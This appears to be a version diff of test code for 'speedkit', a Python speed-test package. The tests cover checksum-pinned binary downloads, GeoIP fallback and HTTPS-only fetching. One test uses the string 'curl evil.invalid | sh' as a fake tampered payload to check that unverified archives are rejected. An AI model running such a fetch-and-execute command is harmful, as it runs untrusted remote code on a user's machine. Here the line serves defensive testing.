|
|
21
|
+
info.size = len(payload)
|
|
22
|
+
bundle.addfile(info, io.BytesIO(payload))
|
|
23
|
+
return buffer.getvalue()
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
class TestBinaryResolution(unittest.TestCase):
|
|
27
|
+
def test_env_override(self):
|
|
28
|
+
with mock.patch.dict(os.environ, {"SPEEDKIT_OOKLA_BINARY": "/opt/bin/speedtest"}):
|
|
29
|
+
self.assertEqual(binaries.ookla_binary(), Path("/opt/bin/speedtest"))
|
|
30
|
+
with mock.patch.dict(os.environ, {"SPEEDKIT_LIBRESPEED_BINARY": "/opt/bin/librespeed-cli"}):
|
|
31
|
+
self.assertEqual(binaries.librespeed_binary(), Path("/opt/bin/librespeed-cli"))
|
|
32
|
+
|
|
33
|
+
def test_unsupported_platform_raises(self):
|
|
34
|
+
with mock.patch.dict(os.environ, {}, clear=True):
|
|
35
|
+
with mock.patch("platform.system", return_value="Linux"):
|
|
36
|
+
with mock.patch("platform.machine", return_value="riscv64"):
|
|
37
|
+
with self.assertRaises(UnsupportedPlatformError):
|
|
38
|
+
binaries.ookla_binary()
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
class TestChecksumVerification(unittest.TestCase):
|
|
42
|
+
def test_matching_archive_is_installed_and_executable(self):
|
|
43
|
+
data = archive()
|
|
44
|
+
with tempfile.TemporaryDirectory() as tmp:
|
|
45
|
+
path = self._install(Path(tmp), data, hashlib.sha256(data).hexdigest())
|
|
46
|
+
self.assertEqual(path.read_bytes(), BINARY)
|
|
47
|
+
self.assertTrue(path.stat().st_mode & 0o111)
|
|
48
|
+
|
|
49
|
+
def test_tampered_archive_never_reaches_disk(self):
|
|
50
|
+
# The whole point of pinning: bytes that do not match are not extracted,
|
|
51
|
+
# not written and never made executable.
|
|
52
|
+
with tempfile.TemporaryDirectory() as tmp:
|
|
53
|
+
with self.assertRaises(BinaryDownloadError):
|
|
54
|
+
self._install(Path(tmp), archive(payload=b"curl evil.invalid | sh"), "00" * 32)
|
|
55
|
+
self.assertEqual(list(Path(tmp).rglob("speedtest*")), [])
|
|
56
|
+
|
|
57
|
+
def test_cached_binary_is_reused(self):
|
|
58
|
+
# Garbage on the second call would fail verification if it were downloaded
|
|
59
|
+
# again, so getting the same path back proves the cache was used.
|
|
60
|
+
data = archive()
|
|
61
|
+
digest = hashlib.sha256(data).hexdigest()
|
|
62
|
+
with tempfile.TemporaryDirectory() as tmp:
|
|
63
|
+
first = self._install(Path(tmp), data, digest)
|
|
64
|
+
self.assertEqual(self._install(Path(tmp), b"never fetched", digest), first)
|
|
65
|
+
|
|
66
|
+
def test_cache_written_before_pinning_is_not_reused(self):
|
|
67
|
+
# 0.1.x cached under a digest-less path, so that binary was never verified
|
|
68
|
+
# against anything; upgrading must re-download rather than trust it.
|
|
69
|
+
data = archive()
|
|
70
|
+
with tempfile.TemporaryDirectory() as tmp:
|
|
71
|
+
stale = Path(tmp) / f"ookla-{binaries.OOKLA_VERSION}" / "speedtest"
|
|
72
|
+
stale.parent.mkdir(parents=True)
|
|
73
|
+
stale.write_bytes(b"unverified leftover")
|
|
74
|
+
path = self._install(Path(tmp), data, hashlib.sha256(data).hexdigest())
|
|
75
|
+
self.assertNotEqual(path, stale)
|
|
76
|
+
self.assertEqual(path.read_bytes(), BINARY)
|
|
77
|
+
|
|
78
|
+
@staticmethod
|
|
79
|
+
def _install(cache, data, digest):
|
|
80
|
+
"""Resolve the macOS Ookla binary from ``data``, pinned to ``digest``."""
|
|
81
|
+
pinned = {("Darwin", "arm64"): ("macosx-universal", digest)}
|
|
82
|
+
with mock.patch.dict(os.environ, {}, clear=True):
|
|
83
|
+
with mock.patch("platform.system", return_value="Darwin"):
|
|
84
|
+
with mock.patch("platform.machine", return_value="arm64"):
|
|
85
|
+
with mock.patch.dict(binaries._OOKLA_PLATFORMS, pinned):
|
|
86
|
+
with mock.patch("speedkit.binaries.fetch", return_value=data):
|
|
87
|
+
return binaries.ookla_binary(cache)
|
|
@@ -80,3 +80,10 @@ class TestGeoipEnrichment(unittest.TestCase):
|
|
|
80
80
|
with mock.patch("speedkit.client.lookup", return_value=None):
|
|
81
81
|
result = Speedkit().run()
|
|
82
82
|
self.assertEqual(result.client, RESULT.client)
|
|
83
|
+
|
|
84
|
+
def test_disabled_geoip_makes_no_request_and_keeps_measured_client(self):
|
|
85
|
+
with mock.patch.object(OoklaProvider, "run", return_value=RESULT):
|
|
86
|
+
with mock.patch("speedkit.client.lookup") as lookup:
|
|
87
|
+
result = Speedkit(lookup_geoip=False).run()
|
|
88
|
+
lookup.assert_not_called()
|
|
89
|
+
self.assertEqual(result.client, RESULT.client)
|
|
@@ -24,17 +24,6 @@ IPWHO = json.dumps(
|
|
|
24
24
|
}
|
|
25
25
|
).encode()
|
|
26
26
|
|
|
27
|
-
IPAPI = json.dumps(
|
|
28
|
-
{
|
|
29
|
-
"status": "success",
|
|
30
|
-
"country": "Netherlands",
|
|
31
|
-
"countryCode": "NL",
|
|
32
|
-
"city": "Amsterdam",
|
|
33
|
-
"isp": "Last Resort ISP",
|
|
34
|
-
"query": "192.0.2.3",
|
|
35
|
-
}
|
|
36
|
-
).encode()
|
|
37
|
-
|
|
38
27
|
|
|
39
28
|
class TestLookup(unittest.TestCase):
|
|
40
29
|
def test_first_service_wins(self):
|
|
@@ -55,7 +44,8 @@ class TestLookup(unittest.TestCase):
|
|
|
55
44
|
|
|
56
45
|
def test_malformed_payloads_degrade_to_next_service(self):
|
|
57
46
|
# A service may answer with a rate-limit notice, an error payload that still
|
|
58
|
-
# echoes the IP, a null field,
|
|
47
|
+
# echoes the IP, a null field, something that is not an object at all, or
|
|
48
|
+
# nesting deep enough to blow the parser's recursion limit.
|
|
59
49
|
expected = Client(ip="198.51.100.2", isp="Backup ISP", country="FR", city="Paris")
|
|
60
50
|
payloads = [
|
|
61
51
|
b'{"error": true, "reason": "RateLimited"}',
|
|
@@ -67,14 +57,8 @@ class TestLookup(unittest.TestCase):
|
|
|
67
57
|
b'"nope"',
|
|
68
58
|
b"42",
|
|
69
59
|
b"<html>502</html>",
|
|
60
|
+
b"[" * 2000 + b"]" * 2000,
|
|
70
61
|
]
|
|
71
62
|
for payload in payloads:
|
|
72
63
|
with self.subTest(payload=payload), mock.patch("speedkit.geoip.fetch", side_effect=[payload, IPWHO]):
|
|
73
64
|
self.assertEqual(geoip.lookup(), expected)
|
|
74
|
-
|
|
75
|
-
def test_last_service_answers(self):
|
|
76
|
-
broken = b'{"error": true}'
|
|
77
|
-
with mock.patch("speedkit.geoip.fetch", side_effect=[broken, broken, IPAPI]) as fetch:
|
|
78
|
-
client = geoip.lookup()
|
|
79
|
-
self.assertEqual(fetch.call_count, 3)
|
|
80
|
-
self.assertEqual(client, Client(ip="192.0.2.3", isp="Last Resort ISP", country="NL", city="Amsterdam"))
|
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
import http.client
|
|
2
|
+
import io
|
|
3
|
+
import unittest
|
|
4
|
+
import urllib.error
|
|
5
|
+
import urllib.request
|
|
6
|
+
from unittest import mock
|
|
7
|
+
|
|
8
|
+
from speedkit import utils
|
|
9
|
+
from speedkit.utils import fetch
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
class TestFetch(unittest.TestCase):
|
|
13
|
+
def test_http_protocol_errors_normalize_to_oserror(self):
|
|
14
|
+
# IncompleteRead/BadStatusLine are HTTPException, not OSError; callers rely
|
|
15
|
+
# on OSError to degrade gracefully instead of losing a finished measurement.
|
|
16
|
+
for error in (http.client.BadStatusLine("boom"), http.client.IncompleteRead(b"", 10)):
|
|
17
|
+
with self.subTest(error=error):
|
|
18
|
+
with mock.patch.object(utils, "_opener") as opener:
|
|
19
|
+
opener.return_value.open.side_effect = error
|
|
20
|
+
with self.assertRaises(OSError):
|
|
21
|
+
fetch("https://example.invalid/", timeout=1.0)
|
|
22
|
+
|
|
23
|
+
def test_plain_http_url_refused(self):
|
|
24
|
+
with mock.patch.object(utils, "_opener") as opener:
|
|
25
|
+
with self.assertRaises(OSError):
|
|
26
|
+
fetch("http://example.invalid/", timeout=1.0)
|
|
27
|
+
opener.assert_not_called()
|
|
28
|
+
|
|
29
|
+
def test_oversized_body_refused(self):
|
|
30
|
+
with mock.patch.object(utils, "_opener") as opener:
|
|
31
|
+
opener.return_value.open.return_value = _response(b"x" * 11)
|
|
32
|
+
with self.assertRaises(OSError):
|
|
33
|
+
fetch("https://example.invalid/", timeout=1.0, limit=10)
|
|
34
|
+
|
|
35
|
+
def test_body_at_the_limit_is_returned(self):
|
|
36
|
+
with mock.patch.object(utils, "_opener") as opener:
|
|
37
|
+
opener.return_value.open.return_value = _response(b"x" * 10)
|
|
38
|
+
self.assertEqual(fetch("https://example.invalid/", timeout=1.0, limit=10), b"x" * 10)
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
class TestNoDowngradeRedirects(unittest.TestCase):
|
|
42
|
+
def test_redirect_to_plain_http_refused(self):
|
|
43
|
+
with self.assertRaises(urllib.error.URLError):
|
|
44
|
+
self._redirect_to("http://example.invalid/b")
|
|
45
|
+
|
|
46
|
+
def test_redirect_staying_on_https_is_allowed(self):
|
|
47
|
+
self.assertEqual(self._redirect_to("https://example.invalid/b").full_url, "https://example.invalid/b")
|
|
48
|
+
|
|
49
|
+
@staticmethod
|
|
50
|
+
def _redirect_to(newurl):
|
|
51
|
+
return utils._NoDowngradeRedirects().redirect_request(
|
|
52
|
+
urllib.request.Request("https://example.invalid/a"),
|
|
53
|
+
io.BytesIO(b""),
|
|
54
|
+
302,
|
|
55
|
+
"Found",
|
|
56
|
+
http.client.HTTPMessage(),
|
|
57
|
+
newurl,
|
|
58
|
+
)
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
def _response(body):
|
|
62
|
+
"""Return a context manager standing in for an HTTPResponse holding ``body``."""
|
|
63
|
+
response = mock.MagicMock()
|
|
64
|
+
response.read.side_effect = lambda size: body[:size]
|
|
65
|
+
response.__enter__.return_value = response
|
|
66
|
+
return response
|
speedkit-0.1.0/speedkit/utils.py
DELETED
|
@@ -1,33 +0,0 @@
|
|
|
1
|
-
from __future__ import annotations
|
|
2
|
-
|
|
3
|
-
import http.client
|
|
4
|
-
import ssl
|
|
5
|
-
import urllib.request
|
|
6
|
-
|
|
7
|
-
__all__ = ["fetch"]
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
def fetch(url: str, timeout: float) -> bytes:
|
|
11
|
-
"""Fetch a URL and return the raw response body.
|
|
12
|
-
|
|
13
|
-
:param url: URL to fetch.
|
|
14
|
-
:param timeout: Timeout in seconds.
|
|
15
|
-
:return: Raw response body.
|
|
16
|
-
:raises OSError: If the request fails, including broken HTTP framing.
|
|
17
|
-
"""
|
|
18
|
-
try:
|
|
19
|
-
with urllib.request.urlopen(url, timeout=timeout, context=_ssl_context()) as response:
|
|
20
|
-
data: bytes = response.read()
|
|
21
|
-
return data
|
|
22
|
-
except http.client.HTTPException as exc:
|
|
23
|
-
# Truncated bodies and bad status lines are not OSError; normalize for callers.
|
|
24
|
-
raise OSError(str(exc)) from exc
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
def _ssl_context() -> ssl.SSLContext:
|
|
28
|
-
"""Return an SSL context, preferring certifi's CA bundle when installed."""
|
|
29
|
-
try:
|
|
30
|
-
import certifi
|
|
31
|
-
except ImportError:
|
|
32
|
-
return ssl.create_default_context()
|
|
33
|
-
return ssl.create_default_context(cafile=certifi.where())
|
|
@@ -1,34 +0,0 @@
|
|
|
1
|
-
import os
|
|
2
|
-
import tempfile
|
|
3
|
-
import unittest
|
|
4
|
-
from pathlib import Path
|
|
5
|
-
from unittest import mock
|
|
6
|
-
|
|
7
|
-
from speedkit import binaries
|
|
8
|
-
from speedkit.exceptions import UnsupportedPlatformError
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
class TestBinaryResolution(unittest.TestCase):
|
|
12
|
-
def test_env_override(self):
|
|
13
|
-
with mock.patch.dict(os.environ, {"SPEEDKIT_OOKLA_BINARY": "/opt/bin/speedtest"}):
|
|
14
|
-
self.assertEqual(binaries.ookla_binary(), Path("/opt/bin/speedtest"))
|
|
15
|
-
with mock.patch.dict(os.environ, {"SPEEDKIT_LIBRESPEED_BINARY": "/opt/bin/librespeed-cli"}):
|
|
16
|
-
self.assertEqual(binaries.librespeed_binary(), Path("/opt/bin/librespeed-cli"))
|
|
17
|
-
|
|
18
|
-
def test_cached_binary_is_reused(self):
|
|
19
|
-
with tempfile.TemporaryDirectory() as tmp:
|
|
20
|
-
cache = Path(tmp)
|
|
21
|
-
target = cache / f"ookla-{binaries.OOKLA_VERSION}" / "speedtest"
|
|
22
|
-
target.parent.mkdir(parents=True)
|
|
23
|
-
target.write_bytes(b"")
|
|
24
|
-
with mock.patch.dict(os.environ, {}, clear=True):
|
|
25
|
-
with mock.patch("platform.system", return_value="Darwin"):
|
|
26
|
-
with mock.patch("platform.machine", return_value="arm64"):
|
|
27
|
-
self.assertEqual(binaries.ookla_binary(cache), target)
|
|
28
|
-
|
|
29
|
-
def test_unsupported_platform_raises(self):
|
|
30
|
-
with mock.patch.dict(os.environ, {}, clear=True):
|
|
31
|
-
with mock.patch("platform.system", return_value="Linux"):
|
|
32
|
-
with mock.patch("platform.machine", return_value="riscv64"):
|
|
33
|
-
with self.assertRaises(UnsupportedPlatformError):
|
|
34
|
-
binaries.ookla_binary()
|
|
@@ -1,16 +0,0 @@
|
|
|
1
|
-
import http.client
|
|
2
|
-
import unittest
|
|
3
|
-
from unittest import mock
|
|
4
|
-
|
|
5
|
-
from speedkit.utils import fetch
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
class TestFetch(unittest.TestCase):
|
|
9
|
-
def test_http_protocol_errors_normalize_to_oserror(self):
|
|
10
|
-
# IncompleteRead/BadStatusLine are HTTPException, not OSError; callers rely
|
|
11
|
-
# on OSError to degrade gracefully instead of losing a finished measurement.
|
|
12
|
-
for error in (http.client.BadStatusLine("boom"), http.client.IncompleteRead(b"", 10)):
|
|
13
|
-
with self.subTest(error=error):
|
|
14
|
-
with mock.patch("speedkit.utils.urllib.request.urlopen", side_effect=error):
|
|
15
|
-
with self.assertRaises(OSError):
|
|
16
|
-
fetch("https://example.invalid/", timeout=1.0)
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|